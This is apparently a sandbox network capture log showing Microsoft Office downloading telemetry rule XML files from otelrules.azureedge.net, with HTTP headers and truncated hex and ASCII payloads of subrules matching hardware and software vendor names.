2024-10-26 11:49:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49825	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-16849878b78tg5n42kspfr0x48000000021g000000003r0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49824	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: e3c75742-001e-0014-79f3-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-r197bdfb6b4c8q4qvwwy2byzsw000000029g0000000007h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49826	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-16849878b785dznd7xpawq9gcn00000003fg00000000006e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49827	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:14 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-17c5cb586f64v7xs992vpxwchg0000000200000000004xsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49828	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:14 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-16849878b78km6fmmkbenhx76n000000019000000000a4e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49829	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:14 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-16849878b78hh85qc40uyr8sc8000000029g000000005rwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:14 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 44f017bc-601e-000d-6df3-242618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-15b8d89586fst84k5f3z220tec0000000hgg000000009rrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49830	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:14 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:14 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114914Z-16849878b787bfsh7zgp804my400000000rg00000000aep8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:49:15 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:15 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:15 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 395ac5b3-901e-0083-7e6a-27bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114915Z-17c5cb586f6r59nt869u8w8xt8000000010g000000001ky6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:15 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:15 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:15 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114915Z-16849878b78xblwksrnkakc08w000000017g000000007fvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:15 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:15 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114915Z-16849878b78xblwksrnkakc08w00000001a000000000298p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:16 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49836	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:15 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
